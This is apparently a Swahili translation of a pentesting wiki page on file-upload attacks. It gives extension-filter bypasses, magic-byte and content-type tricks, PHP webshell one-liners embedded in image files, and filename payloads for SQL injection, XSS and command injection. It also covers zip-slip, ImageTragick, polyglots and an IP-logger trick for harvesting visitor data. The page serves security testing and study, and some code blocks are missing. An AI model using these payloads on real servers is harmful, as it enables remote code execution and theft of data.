File Upload
Ikiwa una nia ya kazi ya kuhack na kuhack mambo yasiyohack - tunakupa kazi! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).
Mbinu Mkuu ya Kupakia Faili
Vifaa vingine vya kupendeza:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Kufanya kazi katika PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Kupita vikwazo vya viendelezi vya faili
Ikiwa wanatumia, angalia viendelezi vilivyopita. Jaribu pia kuvitumia kwa herufi kubwa: pHp, .pHP5, .PhAr ...
Angalia kuongeza kielezo halali kabla ya kielezi cha utekelezaji (tumia viendelezi vilivyopita pia):
faili.png.php
faili.png.Php5
Jaribu kuongeza herufi maalum mwishoni. Unaweza kutumia Burp kufanya bruteforce kwa herufi zote za ascii na Unicode. (Tambua kwamba unaweza pia kujaribu kutumia viendelezi vilivyotajwa hapo awali)
faili.php%20
faili.php%0a
faili.php%00
faili.php%0d%0a
faili.php/
faili.php.\
faili.
faili.php....
faili.pHp5....
Jaribu kupita vikwazo kudanganya kipambatisho cha kielezi cha upande wa seva na mbinu kama kuambatanisha kielezi au kuongeza takataka (herufi za null) kati ya viendelezi. Unaweza pia kutumia viendelezi vilivyopita kuandaa mzigo bora.
faili.png.php
faili.png.pHp5
faili.php#.png
faili.php%00.png
faili.php\x00.png
faili.php%0a.png
faili.php%0d%0a.png
faili.phpJunk123png
Ongeza safu nyingine ya viendelezi kwa ukaguzi uliopita:
faili.png.jpg.php
faili.php%00.png%00.jpg
Jaribu kuweka kielezi cha utekelezaji kabla ya kielezi halali na omba ili seva iwe na hitilafu. (inayoweza kutumika kudanganya misconfigurations ya Apache ambapo chochote chenye kielezi cha utekelezaji** .php, lakini sio lazima iishie katika .php** itatekeleza kanuni):
kwa mfano: faili.php.png
Kutumia mtiririko wa data mbadala wa NTFS (ADS) katika Windows. Katika kesi hii, herufi ya mkato “:” itaingizwa baada ya kielezi kilichozuiliwa na kabla ya kielezi kinachoruhusiwa. Kama matokeo, faili tupu yenye kielezi kilichozuiliwa itaundwa kwenye seva (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa “::$data” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza kipande baada ya mtindo huu kunaweza kuwa na manufaa kwa kupita vikwazo zaidi (.k.m. “faili.asp::$data.”)
Jaribu kuvunja mipaka ya jina la faili. Kielezi halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Upimaji
Pita kwa Aina ya Yaliyomo kwa kuweka thamani ya kichwa cha Aina ya Yaliyomo kuwa: picha/png, maandishi/rahisi, maombi/octet-stream
Orodha ya maneno ya Aina ya Yaliyomo: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
Pita kwa ukaguzi wa nambari ya ajabu kwa kuongeza mwanzoni mwa faili baiti za picha halisi (kuchanganya amri ya file). Au weka kabati ndani ya metadata:
exiftool -Comment="<?php echo 'Amri:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\au unaweza pia kuweka mzigo moja kwa moja katika picha:echo '<?php system($_REQUEST['cmd']); ?>' >> img.pngIkiwa ufupishaji unawekwa kwenye picha yako, kwa mfano kutumia maktaba za PHP za kawaida kama PHP-GD, mbinu za awali hazitakuwa na manufaa. Walakini, unaweza kutumia kitengo cha PLTE mbinu iliyoelezwa hapa kuingiza maandishi ambayo yata kupita kwa ufupishaji.
Ukurasa wa wavuti unaweza pia kuwa unafanya upimaji wa picha, kwa kutumia kwa mfano kazi za PHP-GD
imagecopyresizedauimagecopyresampled. Walakini, unaweza kutumia kitengo cha IDAT mtego uliofafanuliwa hapa kuingiza maandishi ambayo yata kupita kwa ufupishaji.Mbinu nyingine ya kufanya mzigo ambao utapita upimaji wa picha, kutumia kazi ya PHP-GD
thumbnailImage. Walakini, unaweza kutumia kitengo cha tEXt mtego uliofafanuliwa hapa kuingiza maandishi ambayo yata kupita kwa ufupishaji.
Mbinu Nyingine za Kukagua
Tafuta udhaifu wa kubadilisha jina la faili tayari iliyopakiwa (kubadilisha kificho).
Tafuta udhaifu wa Ujumuishaji wa Faili za Lokali kutekeleza mlango wa nyuma.
Ufunuo wa Taarifa Inayowezekana:
Pakia mara kadhaa (na wakati huo huo) faili ile ile na jina moja
Pakia faili na jina la faili au folda ambayo tayari ipo
Pakia faili na “.”, “..”, au “…” kama jina lake. Kwa mfano, katika Apache kwenye Windows, ikiwa programu inahifadhi faili zilizopakiwa kwenye saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
Pakia faili ambayo huenda ikafutwa kwa urahisi kama vile “…:.jpg” katika NTFS. (Windows)
Pakia faili katika Windows yenye herufi zisizofaa kama vile
|<>*?”katika jina lake. (Windows)Pakia faili katika Windows ukitumia majina yaliyohifadhiwa (yaliyokatazwa) kama vile CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
Jaribu pia kupakia faili inayoweza kutekelezwa (.exe) au .html (isiyo ya shaka) ambayo itaendesha kificho wakati inafunguliwa kimakosa na muathiriwa.
Mbinu Maalum za Ugani
Ikiwa unajaribu kupakia faili kwenye seva ya PHP, angalia mtego wa .htaccess kutekeleza kificho. Ikiwa unajaribu kupakia faili kwenye seva ya ASP, angalia mtego wa .config kutekeleza kificho.
Faili za .phar ni kama .jar kwa java, lakini kwa php, na zinaweza kutumiwa kama faili ya php (kuitekeleza na php, au kuizingatia ndani ya hati...)
Ugani wa .inc mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu kuagiza faili, kwa hivyo, kwa wakati fulani, mtu anaweza kuruhusu ugani huu kutekelezwa.
uWSGI RCE
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata RCE kwa sababu faili mpya za *.xml na *.war zinashughulikiwa moja kwa moja. Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa $JETTY_BASE/webapps/ na tumaini kupata kabati!
uWSGI RCE
Kwa uchunguzi wa kina wa udhaifu huu, angalia utafiti wa asili: uWSGI RCE Exploitation.
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumiwa kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya .ini. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi, na waendeshaji. Hasa, waendeshaji wa '@', hutumiwa kama @(jina la faili), imeundwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kubadilishwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Uandishi/Soma wa Faili wa Kiholela wakati faili ya usanidi ya .ini inashughulikiwa.
Zingatia mfano ufuatao wa faili hatari ya uwsgi.ini, ikionyesha mifumo mbalimbali:
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kutekelezwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwekwe kwa ajili ya kujipakia moja kwa moja. Kipengele cha kujipakia moja kwa moja, ikiwa kimeanzishwa, kinajipakia upya faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa asili ya kulegea kwa uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), hivyo kueneza wigo wa unyanyasaji wa uwezekano.
Mbinu ya Kupakia Faili/Trick ya SSRF ya wget
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia wget kwa kupakua faili na unaweza kuashiria URL. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kificho cha faili zilizopakuliwa iko ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, uchunguzi huu unaweza kudukuliwa.
Urefu wa jina la faili katika linux ni 255, hata hivyo, wget hukata majina ya faili hadi wahusika 236. Unaweza kupakua faili iliyoitwa "A"*232+".php"+".gif", jina hili la faili litapita uchunguzi (kama katika mfano huu ".gif" ni kielezo sahihi) lakini wget ita badilisha jina la faili kuwa "A"*232+".php".
Tafadhali elewa kwamba chaguo lingine unaloweza kufikiria kwa kuzingira ukaguzi huu ni kufanya seva ya HTTP ielekeze kwa faili tofauti, hivyo URL ya awali itapita ukaguzi kisha wget itadownload faili iliyeelekezwa kwa jina jipya. Hii haitafanya kazi isipokuwa wget inatumika na parameter --trust-server-names kwa sababu wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali.
Zana
Upload Bypass ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, ikisimamia tathmini kamili ya maombi ya wavuti.
Kutoka kwa kupakia faili hadi udhaifu mwingine
Weka jina la faili kuwa
../../../tmp/lol.pngna jaribu kufikia kuvuka njiaWeka jina la faili kuwa
sleep(10)-- -.jpgna unaweza kufanikiwa SQL injectionWeka jina la faili kuwa
<svg onload=alert(document.domain)>ili kufanikisha XSSWeka jina la faili kuwa
; sleep 10;kujaribu baadhi ya kuingiza amri (zaidi mbinu za kuingiza amri hapa)Kupakia faili ya JS + XSS = Udanganyifu wa Wafanyikazi wa Huduma
Jaribu mizigo tofauti ya svg kutoka https://github.com/allanlw/svg-cheatsheet****
Ikiwa unaweza kuashiria seva ya wavuti kuchukua picha kutoka kwa URL unaweza kujaribu kutumia SSRF. Ikiwa picha hii itakuwa imehifadhiwa kwenye tovuti fulani ya umma, unaweza pia kuashiria URL kutoka https://iplogger.org/invisible/ na kuiba habari ya kila mtembeleaji.
PDF zilizoundwa kwa ustadi kwa XSS: Ukurasa ufuatao unaonyesha jinsi ya kuingiza data ya PDF ili kupata utekelezaji wa JS](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDF unaweza kuandaa PDF kadhaa ambazo zitatekeleza JS arbitrali kufuata maelekezo yaliyotolewa.
Pakia yaliyomo ya [eicar](https://secure.eicar.org/eicar.com.txt) ili kuchunguza ikiwa seva ina antivirus yoyote
Angalia ikiwa kuna kikomo cha ukubwa wakati wa kupakia faili
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufanikisha kwa kupakia (kutoka hapa):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Uelekezaji wazi
PNG / JPEG: Shambulio la mafuriko ya pikseli (DoS)
ZIP: RCE kupitia LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Kifaa cha Burp
Vichwa vya Kichwa vya Ajaabu
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["JPG:
"\xff\xd8\xff"
Rejea https://en.wikipedia.org/wiki/List_of_file_signatures kwa aina nyingine za faili.
Kupakia Faili ya Zip/Tar Kiotomatiki Kufunguliwa
Ikiwa unaweza kupakia ZIP ambayo itafunguliwa kiotomatiki kwenye seva, unaweza kufanya mambo 2:
Kiungo cha Simulizi
Pakia kiungo kinachojumuisha viungo vya laini kwa faili zingine, kisha, kufikia faili zilizofunguliwa utafikia faili zilizounganishwa:
Kufungua katika folda tofauti
Uumbaji usiotarajiwa wa faili katika saraka wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba hali hii inaweza kuzuia utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka saraka wa muundo wa ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomozaji kukiuka vizuizi na kutoroka kutoka kwa saraka salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
Shambulio lililoandaliwa kiotomatiki la kutengeneza faili kama hizo linapatikana kwenye evilarc kwenye GitHub. Zana hiyo inaweza kutumika kama inavyoonyeshwa:
Zaidi ya hayo, mzaha wa symlink na evilarc ni chaguo lingine. Ikiwa lengo ni kulenga faili kama vile /flag.txt, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina kukutana na makosa wakati wa operesheni yake.
Hapa chini ni mfano wa nambari ya Python inayotumika kuunda faili ya zip yenye nia mbaya:
Kutumia ujazo kwa kunyunyizia faili
Kwa maelezo zaidi angalia chapisho la asili katika: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Kujenga Shell ya PHP: Kanuni ya PHP imeandikwa kutekeleza amri zilizopitishwa kupitia kipengele cha
$_REQUEST.
Kunyunyizia Faili na Uundaji wa Faili iliyosongeshwa: Faili nyingi hujengwa na kiunzi cha zip kinajengwa kinao vijumbe hivi.
Ubadilishaji na Mhariri wa Hex au vi: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kwa kuvuka mipangilio.
ImageTragic
Pakia yaliyomo haya na kifaa cha picha ili kutumia udhaifu (ImageMagick, 7.0.1-1) (kutoka kwa exploit)
Kuingiza PHP Shell kwenye PNG
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanya kazi ya kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele imagecopyresized na imagecopyresampled kutoka PHP-GD ni muhimu sana katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha ukubwa na kupangusa upya picha, mtawalia. Uwezo wa PHP shell iliyomo kubaki bila kuguswa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu yake na matumizi yanayowezekana, umetolewa katika makala ifuatayo: "Encoding Web Shells in PNG IDAT chunks". Rasilimali hii inatoa uelewa wa kina wa mchakato na matokeo yake.
Maelezo zaidi katika: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Faili za Polyglot
Faili za Polyglot hufanya kama chombo kipekee katika usalama wa mtandao, zikifanya kazi kama kameleoni ambazo zinaweza kuwepo kihalali katika muundo wa faili zaidi ya moja kwa wakati mmoja. Mfano wa kuvutia ni GIFAR, ambayo ni mchanganyiko wa GIF na kumbukumbu ya RAR. Faili kama hizi haziko tu katika mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
Umuhimu wa msingi wa faili za Polyglot uko katika uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia - kama JPEG, GIF, au DOC - ili kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, Polyglot, kwa kufuata vigezo vya muundo wa aina nyingi za faili, inaweza kwa siri kuzunguka vizuizi hivi.
Licha ya uwezo wao wa kubadilika, Polyglots wanakutana na vikwazo. Kwa mfano, ingawa Polyglot inaweza kuwakilisha wakati mmoja faili ya PHAR (PHp ARchive) na JPEG, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia vikwazo vya nyongeza zinazoruhusiwa, uhalisia wa kimuundo wa Polyglot pekee hauwezi kutosha kuhakikisha kupakia kwake.
Maelezo zaidi katika: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Marejeo
Ikiwa una nia katika kazi ya udukuzi na kudukua yasiyoweza kudukuliwa - tunatoa ajira! (uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika).
Last updated
